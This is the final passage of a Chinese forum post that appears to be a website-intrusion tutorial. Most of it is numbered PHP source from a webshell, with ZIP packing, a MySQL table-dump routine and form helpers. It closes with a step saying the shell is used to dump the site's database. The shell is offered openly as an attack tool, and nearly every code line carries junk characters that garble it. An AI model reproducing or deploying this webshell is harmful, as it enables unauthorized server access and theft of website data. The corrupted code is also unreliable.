  1698.                                                 $a[]=$f;' o. y/ u0 H& D, C/ O+ I! x3 P7 y& m+ l
  1699.                                         }* G* ?4 i3 |+ s* y
  1700.                                 }+ I! t3 h6 S9 T  N' \6 O
  1701.                                 closedir($dh);5 a/ L1 s- a- D, H0 A2 Z) M
  1702.                         }
    8 V2 p7 l6 \; f: u
  1703.                 }" y- p* E& Y% t: c& w' X2 ~
  1704.                 return $a;  b4 [$ u+ l- h! t1 L- Y
  1705.         }
    ) `' q& p* D& K- M: ]$ J( E

  1706. " Y3 r4 U6 I' ~2 T! G" [) [$ }
  1707.         var $datasec      = array();* y# k4 U) R5 ?7 m
  1708.         var $ctrl_dir     = array();
    : ~  H- _* O1 H; k- s
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    4 c9 p+ x4 L) e* K) N- Q
  1710.         var $old_offset   = 0;4 H2 o% \8 B7 W8 X4 r+ s/ q

  1711. - \, Z5 E  k) `
  1712.         function unix2DosTime($unixtime = 0) {& E: j/ q) [4 i  \) _: L2 ^0 L
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    9 x2 M  M4 u/ |+ Z* j7 e
  1714.                 if ($timearray['year'] < 1980) {8 Z5 G1 D7 ]) q2 T0 [; F
  1715.                         $timearray['year']    = 1980;
    - l6 t4 V2 G* X, _9 P3 V
  1716.                         $timearray['mon']     = 1;
    . S: l* h" t8 W! I. x1 a/ [  u
  1717.                         $timearray['mday']    = 1;
    4 a/ t+ Z. \  y0 L" z: z
  1718.                         $timearray['hours']   = 0;- z1 r' i; S4 c( B  ?! I
  1719.                         $timearray['minutes'] = 0;
    6 w0 n5 s$ e, ?7 z" Q( D( c% K! |( V
  1720.                         $timearray['seconds'] = 0;
    4 z' N/ k6 S! v0 b% M, u( h) w% N
  1721.                 } // end if
    : w; U# V* D- u: [9 c9 k4 W
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |! B% ?6 X  J$ m% U5 B+ D9 Y
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);' U* b+ r/ y( L+ h! I0 e0 G# c
  1724.         }% b& {9 R6 I. I/ O& u7 S
  1725.         function addFile($data, $name, $time = 0) {
    . q* z4 ?5 O- ^' r( ^6 Z* I' s& S
  1726.                 $name = str_replace('\\', '/', $name);
    ) l# U6 C" T. n
  1727.                 $dtime = dechex($this->unix2DosTime($time));5 o; g* L- N, M; I6 E- I. X
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]! e) c7 o$ t; a" U! x
  1729.                                         . '\x' . $dtime[4] . $dtime[5]1 N( u' z, S) ?" T
  1730.                                         . '\x' . $dtime[2] . $dtime[3]; S! Q4 Z8 _& X8 `" N
  1731.                                         . '\x' . $dtime[0] . $dtime[1];) m; x  G2 [3 E
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');/ b# z/ H# K) o6 b
  1733.                 $fr        = "\x50\x4b\x03\x04";& e! x+ d9 N! w7 D4 [
  1734.                 $fr        .= "\x14\x00";9 [6 A% i. p  n% |
  1735.                 $fr        .= "\x00\x00";
    6 ^6 x3 x8 g5 M. \, X( c3 U, j0 i+ N
  1736.                 $fr        .= "\x08\x00";
    % Q2 G( [8 R% Y9 @* X
  1737.                 $fr        .= $hexdtime;9 g  F' R1 E, w) H3 {7 b
  1738.                 $unc_len = strlen($data);
    : L6 j( M( u+ ~: y, a0 P$ g
  1739.                 $crc = crc32($data);
    4 m) {7 Z5 _. _% @$ T; K( s# K9 {; O
  1740.                 $zdata = gzcompress($data);
    # d! C: s  d3 X8 w
  1741.                 $c_len = strlen($zdata);
    ! a& I' f! b6 @4 H2 M) \
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
    ! |7 L& N$ @( V; ?& @$ q+ J
  1743.                 $fr .= pack('V', $crc);0 [4 _' S6 h) m8 H' k
  1744.                 $fr .= pack('V', $c_len);2 ^/ }! l; n* I9 D
  1745.                 $fr .= pack('V', $unc_len);
      X) j: @" C" e, A
  1746.                 $fr .= pack('v', strlen($name));
    2 @/ L, Q6 ]& ~# C$ ]' v
  1747.                 $fr .= pack('v', 0);
    # N; M4 k3 o6 n7 N
  1748.                 $fr .= $name;0 M: N4 a1 g, J
  1749.                 $fr .= $zdata;
    " |7 W- q) a0 }4 O: R/ v
  1750.                 $fr .= pack('V', $crc);" I& o# c& v* \& c% y  }
  1751.                 $fr .= pack('V', $c_len);2 z, u" K* o' P4 c# d$ s
  1752.                 $fr .= pack('V', $unc_len);; ^: A! j  q, N7 H8 @
  1753.                 $this -> datasec[] = $fr;: ~; q* H7 h9 k8 B9 X
  1754.                 $new_offset = strlen(implode('', $this->datasec));
    & O0 H5 x8 d# A3 H% X. V2 W/ ?
  1755.                 $cdrec = "\x50\x4b\x01\x02";4 m: u6 I" i4 X3 i( T* U* Q+ z
  1756.                 $cdrec .= "\x00\x00";% d3 F3 z  a6 [# ]4 m
  1757.                 $cdrec .= "\x14\x00";
    9 w; \6 I) J2 X7 h
  1758.                 $cdrec .= "\x00\x00";: L: c! _& T) X# a7 d% S
  1759.                 $cdrec .= "\x08\x00";& v2 [* i/ i7 e4 l
  1760.                 $cdrec .= $hexdtime;2 Z) e4 {6 U4 K4 O: U4 ]& D
  1761.                 $cdrec .= pack('V', $crc);, i' B+ R& y7 g( b2 _
  1762.                 $cdrec .= pack('V', $c_len);
    6 b4 P+ {1 X+ Z5 x
  1763.                 $cdrec .= pack('V', $unc_len);
    : Y5 ^" X6 F+ j" O' Y* s) r
  1764.                 $cdrec .= pack('v', strlen($name) );
    8 a/ f/ @; {" I$ F* M
  1765.                 $cdrec .= pack('v', 0 );
    5 }0 N+ z. n7 |4 d! o
  1766.                 $cdrec .= pack('v', 0 );
    : r- G( d7 M* E1 c& l+ P3 `! Y
  1767.                 $cdrec .= pack('v', 0 );1 I6 `" H; q' J( ?$ Y) b# u1 m
  1768.                 $cdrec .= pack('v', 0 );
    - C! g3 Q  {4 V' [2 j
  1769.                 $cdrec .= pack('V', 32 );
    $ G; y7 ^; c0 i
  1770.                 $cdrec .= pack('V', $this -> old_offset );9 h: |0 A2 G0 p4 o0 R3 p' ~; ?" x0 P
  1771.                 $this -> old_offset = $new_offset;8 \8 f/ c, l3 w, q3 F0 o  O' X: X
  1772.                 $cdrec .= $name;% O) ~& }$ W8 x0 _( D
  1773.                 $this -> ctrl_dir[] = $cdrec;
    * t, h1 Y- C+ f
  1774.         }( m: h- w; r: ^
  1775.         function file() {
    : a7 L4 C0 `7 ]! l
  1776.                 $data    = implode('', $this -> datasec);
    - p) A; @3 t5 K5 F& d
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);  f9 @2 V" u% E4 ^
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    4 R& p# }7 @7 x" L" l/ B6 S
  1779.         }$ x( B# R5 g& ]0 q5 h
  1780. }
    ) a* z+ T* A: g* t% s2 }+ b9 r
  1781. // 备份数据库
    , Z& k6 r* P# O' e. k" A
  1782. function sqldumptable($table, $fp=0) {+ D; x2 z' ]) H
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";1 }3 X0 c! n7 k1 A
  1784.         $tabledump .= "CREATE TABLE $table (\n";
    $ U3 v4 y8 G$ P, g8 o, S
  1785.         $firstfield=1;
    ) h- l, \) x( J+ ~7 d& _% P6 P3 I
  1786.         $fields = q("SHOW FIELDS FROM $table");
    - ?5 |: `& F. j8 f
  1787.         while ($field = mysql_fetch_array($fields)) {- B" J2 h( x; ?. f
  1788.                 if (!$firstfield) {
    . @# ^% l7 z% z$ o& U
  1789.                         $tabledump .= ",\n";
    . Z& ^( d' O2 V! n; c5 U
  1790.                 } else {# K- |8 |. F2 b1 h/ b1 u/ v: F
  1791.                         $firstfield=0;
    8 h2 S& f# ~# a6 w$ s1 q% L. c# b  [
  1792.                 }
    1 c8 r8 x' ?- ?6 z
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
    6 d% M' y; W% ^9 C" c2 I( H/ V
  1794.                 if (!empty($field["Default"])) {# \; u- j( m( p0 C. ~" s" L1 c. P5 u
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    / r/ z$ o( m5 g$ E. w
  1796.                 }8 y+ {1 r, g, ^) e6 q& S) R8 C
  1797.                 if ($field['Null'] != "YES") {: {! }$ L8 V8 L- Y& {
  1798.                         $tabledump .= " NOT NULL";- V7 d6 `( I( D
  1799.                 }
    7 }# @( s, H! F* X3 x: }1 ^
  1800.                 if ($field['Extra'] != "") {1 C. ~5 S$ V4 C0 q4 f
  1801.                         $tabledump .= " $field[Extra]";" v; J, s# \  p0 Y9 }" v. B
  1802.                 }
    2 ]7 g+ z& p# y
  1803.         }
    / R7 A3 A8 Y, M8 M% l
  1804.         fr($fields);( m7 Z, |* T# `4 E
  1805.         $keys = q("SHOW KEYS FROM $table");+ U6 y+ L2 A. S5 z+ x( n% z7 C7 o
  1806.         while ($key = mysql_fetch_array($keys)) {0 m3 C$ J) [$ J1 Y1 G- p8 k. o
  1807.                 $kname=$key['Key_name'];4 z6 m, c/ I! _  n" Q
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {/ D7 ~" k* B: @! [
  1809.                         $kname="UNIQUE|$kname";, Z" I, {" G8 }  h" [& M
  1810.                 }& P. ]' h0 `4 ^4 p' n& O3 c
  1811.                 if(!is_array($index[$kname])) {
    & n9 q: |. x5 Q, c
  1812.                         $index[$kname] = array();
    2 A! s8 S7 Y1 J5 C- `
  1813.                 }
      m2 p# Y. Z" S- I4 w- q
  1814.                 $index[$kname][] = $key['Column_name'];  S3 C, q9 J, u5 g( q5 H# ]
  1815.         }9 Y* J: e, p  i: I* a1 O
  1816.         fr($keys);
    * K8 J6 u# f0 j0 J" n+ Q% [
  1817.         while(list($kname, $columns) = @each($index)) {
    & F3 ^. x7 [6 k: _* C  w
  1818.                 $tabledump .= ",\n";
    ; n9 x& C, C5 w. G! e3 i
  1819.                 $colnames=implode($columns,",");
    7 l  j9 ^' F& |; p9 p' \8 S
  1820.                 if ($kname == "PRIMARY") {
    , ]" w% n" U3 @+ G7 v% k% Q% T/ ~9 ]
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    4 ?5 O$ P4 L- x! I0 Z5 u
  1822.                 } else {
    6 Q' Y( m; n! ~' x
  1823.                         if (substr($kname,0,6) == "UNIQUE") {
    ' z7 @, X$ X" ~1 S! M* X2 u3 S1 |+ q
  1824.                                 $kname=substr($kname,7);
    7 K; d" c, E2 N1 h3 t! Q
  1825.                         }
    " c+ t# G5 L9 y5 t7 p' y
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    6 @& Q+ Y0 b; U8 d: x1 D1 m  v/ c" ~2 I
  1827.                 }2 B* g% d$ x- Y4 l+ ^/ \  H& f  s
  1828.         }
    & {% t4 `7 J/ J
  1829.         $tabledump .= "\n);\n\n";' k# j/ p1 T- K" {$ K9 P
  1830.         if ($fp) {7 p: T4 b  ~$ A) h7 o* N7 s
  1831.                 fwrite($fp,$tabledump);. t9 R! i, L3 U
  1832.         } else {) g' ~% u3 u' E( b* C8 h& l' s
  1833.                 echo $tabledump;
    $ n$ f( f, [5 O! U
  1834.         }; i( z: X3 e) [) e2 \8 P
  1835.         $rows = q("SELECT * FROM $table");
    ! r" \; K9 b  P1 C
  1836.         $numfields = mysql_num_fields($rows);  h# S7 D6 g4 ]6 w& l* ^
  1837.         while ($row = mysql_fetch_array($rows)) {  R) k9 u2 C' S1 q% X
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
    6 k) H3 o4 {+ D5 b3 H0 i
  1839.                 $fieldcounter=-1;3 `1 y' f/ R, g4 x3 f- B7 W
  1840.                 $firstfield=1;
    3 m8 L! t8 _; L% C4 _5 X; T: w
  1841.                 while (++$fieldcounter<$numfields) {* J/ i6 N* s" E
  1842.                         if (!$firstfield) {. p) U: c3 T3 T* u6 s4 i/ j! H
  1843.                                 $tabledump.=", ";
    : f) j& q& f; t- q+ w: Y+ G
  1844.                         } else {
    4 P& p3 C! R% T/ w; A0 b1 U# w! }1 Y
  1845.                                 $firstfield=0;! ^* I3 `5 W0 e% X* k2 X: {: e
  1846.                         }1 @3 m( P, T2 [* V% k! |
  1847.                         if (!isset($row[$fieldcounter])) {
    : y6 g% b( n% r
  1848.                                 $tabledump .= "NULL";" T( O% n5 V* Q2 R/ R
  1849.                         } else {
    % t  V$ p+ ^. X) K5 {; r# C
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
    0 N, W" O. L1 F" Q0 n
  1851.                         }- @  t, F9 H+ |/ R# P8 K1 K
  1852.                 }5 m3 \+ E2 j1 w5 f( x: C
  1853.                 $tabledump .= ");\n";: K" j. K. T$ |  K5 U
  1854.                 if ($fp) {
    $ M' N$ V4 a! Z5 \& _! O" X+ \% ]
  1855.                         fwrite($fp,$tabledump);) {$ m/ d  M& ^6 M! W/ |
  1856.                 } else {9 r. Z3 k# q, E' m5 e8 Y. X# ]
  1857.                         echo $tabledump;' A+ n6 g& p5 {6 j2 E- j. ?3 A
  1858.                 }5 f$ B. O7 j6 W2 |" c" o
  1859.         }
    7 f8 x+ X+ }8 s) Y5 t( U  C
  1860.         fr($rows);. o% }1 W6 J& a$ i4 J. K; g
  1861.         if ($fp) {
    ' M2 p) R. ?( i' q
  1862.                 fwrite($fp,"\n");
    7 W" z: H7 ?! H
  1863.         } else {
    ; L: w' A$ f& l* N2 x
  1864.                 echo "\n";
    - H. `+ }( v, ?3 X  F3 h  ^
  1865.         }
    7 ^0 P; ~( J/ ~4 E/ h
  1866. }
      s* ?' S7 {: l2 P
  1867. function ue($str){7 V. X. Z' U9 C, ?
  1868.         return urlencode($str);4 b! _( M6 f$ r& w
  1869. }
    - O5 E% Z% c- ~1 ?( w) L
  1870. function p($str){
    2 l+ m2 C# t4 m7 |# a) ]
  1871.         echo $str."\n";5 W, H3 w/ u1 P- Y7 n8 _# ]
  1872. }
    3 e- {  p3 _6 a0 y* k; _9 O9 ~
  1873. function tbhead() {$ A% a2 m  ^6 ?
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      \, U; R  m! Z& l" |- C; D
  1875. }4 Z# `0 w8 a3 P- G# s* f
  1876. function tbfoot(){( k" ~1 y1 }; Y5 |
  1877.         p('</table>');' ?. A. X# I1 X
  1878. }4 x/ [3 D$ R# @9 a0 C8 X' Q
  1879. function makehide($name,$value=''){
    # X- B8 P; ]7 q
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");2 x& v. z0 G# N' J. Q, t" ^0 ~8 ?
  1881. }8 X+ X' t6 ~5 k/ p. D: O
  1882. function makeinput($arg = array()){( b$ `$ f$ J5 X8 S& h/ x
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";" @8 T  X0 n$ i- N1 O' t3 W
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';, A* r- f" H9 T, I! v
  1885.         !$arg['type'] && $arg['type'] = 'text';/ f+ b5 \; H* Y& I& i, F
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    4 u" |( n8 S, ^0 O1 O. y
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    - o4 }* p& t: T0 {; {$ r/ d
  1888.         if ($arg['newline']) {
    % C* ?# L% c6 P1 m
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");: ?2 J% l7 j  u" k
  1890.         } else {
    % W  @5 @) r; w, d; R8 A
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");4 @. H2 x3 D9 |: K# S
  1892.         }/ q3 J  s, U4 a4 K; Y
  1893. }
    7 ?: s9 ~7 X; C3 A
  1894. function makeselect($arg = array()){
    & {5 h; M8 Y3 |! L0 L! b  g
  1895.         if ($arg['onchange']) {
    " X, Y2 d5 S2 e& x4 }: S  O  R0 J7 N
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
    " s% A2 N! C5 i$ G) K$ {  y% h% Y! s
  1897.         }! R9 {! a( M4 k
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    % k+ {; d$ T: \& `
  1899.         if ($arg['newline']) p('<p>');5 |/ Z9 g& V( O/ G+ z$ E& p' I+ @8 ~
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");& Z/ Q! F  h  C5 Y$ z3 J. D; \: X
  1901.                 if (is_array($arg['option'])) {3 Y3 b6 D3 {6 u" f' T1 e
  1902.                         foreach ($arg['option'] as $key=>$value) {  B4 [5 O4 D' g+ k+ S& |+ L1 x
  1903.                                 if ($arg['selected']==$key) {
    " B- J- ^: S  X* K8 S3 g9 I
  1904.                                         p("<option value="$key" selected>$value</option>");
    , @; }) o2 ]/ O
  1905.                                 } else {4 N6 |/ }4 f* J( q
  1906.                                         p("<option value="$key">$value</option>");& |" \: N8 b9 D, g6 Q+ \; Z
  1907.                                 }
    ; d1 t% f4 U# c/ [0 g8 P- u, D
  1908.                         }
    + R, j" p7 \! }' w# u9 J
  1909.                 }
    + |/ B3 h1 v) a2 N, J- B
  1910.         p("</select>");6 x8 T: W3 O7 v7 ~) C
  1911.         if ($arg['newline']) p('</p>');
    3 H& \$ N) d; Z3 h+ H
  1912. }
    5 d6 g; C9 i# R3 @$ a' y
  1913. function formhead($arg = array()) {9 G/ p  I9 P  M9 P( o3 g
  1914.         !$arg['method'] && $arg['method'] = 'post';
    " i, J- q4 @! u. q+ A: }
  1915.         !$arg['action'] && $arg['action'] = $self;" k) H; U2 G1 C4 P- h
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';* W- X! u  V4 T8 z% s9 V
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    $ s, T0 }4 Y& d# @' p
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");4 p# x1 O7 }3 R' ~) V7 C7 H
  1919.         if ($arg['title']) {
    $ [" z; w1 x% ]7 |0 o% ^
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
      n$ M. }# [( a4 b  r4 [
  1921.         }
    # s" [& L, z7 {. ?* s. _) b
  1922. }) b5 p( U" r) {/ x. g$ o
  1923.        
    ) d; T. ?  A; x; l
  1924. function maketext($arg = array()){1 W8 @8 e3 k) P1 O
  1925.         !$arg['cols'] && $arg['cols'] = 100;
    ( j) m9 L: R1 l3 z; m# x
  1926.         !$arg['rows'] && $arg['rows'] = 25;7 Z, t) @. R& A0 Y7 h
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';* J  ?1 U9 M( J* Y' R* R2 D) E- I2 I
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
    ' A+ p8 v/ P- A- x# ], }
  1929. }- n% y% i+ Q" J. _1 f
  1930. % g* k; z- c- B5 F; X1 ?  n: {
  1931. function formfooter($name = ''){! d* S- O2 `. e* I3 o1 i5 x) \
  1932.         !$name && $name = 'submit';
    ! q* e5 q0 ]) z& j6 [7 t" R+ l
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
    & {% m, _) f! O
  1934.         p('</form>');
    1 \/ ^0 G" f/ n/ ~3 z6 l
  1935. }
    8 J$ a8 X$ k7 @7 z/ [1 F

  1936. 9 B$ [, L0 p2 M8 ]8 D
  1937. function formfoot(){
    ' s+ ^) O" {& U% v3 M! r6 x* W
  1938.         p('</form>');; V1 \" d7 z, I' g5 R
  1939. }) X9 N& Y$ H" N+ f

  1940. % f6 J' t' l; Y+ i) \
  1941. // 调试函数
    3 I! Z7 s8 I" p
  1942. function pr($a) {. \3 C6 J; P: s* e+ Z) U
  1943.         echo '<pre>';- Z% T- f: i9 ]1 M2 s/ }
  1944.         print_r($a);
    + W5 g# U6 Q% n0 s+ E" I% T8 M
  1945.         echo '</pre>';
    9 Y9 V7 a! b1 L* a0 c  y, g3 a
  1946. }2 c  `% f) t+ [/ s8 S, J
  1947. 6 e  }, O4 D7 v6 H: E$ `; Q
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
' p( F2 |$ k8 U( O  P


9 ~0 a. r5 H& H- u, e5 v0 S$ e3 r2 T- Y/ @% k+ ^
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-3-22 03:34 AM , Processed in 0.119574 second(s), 22 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表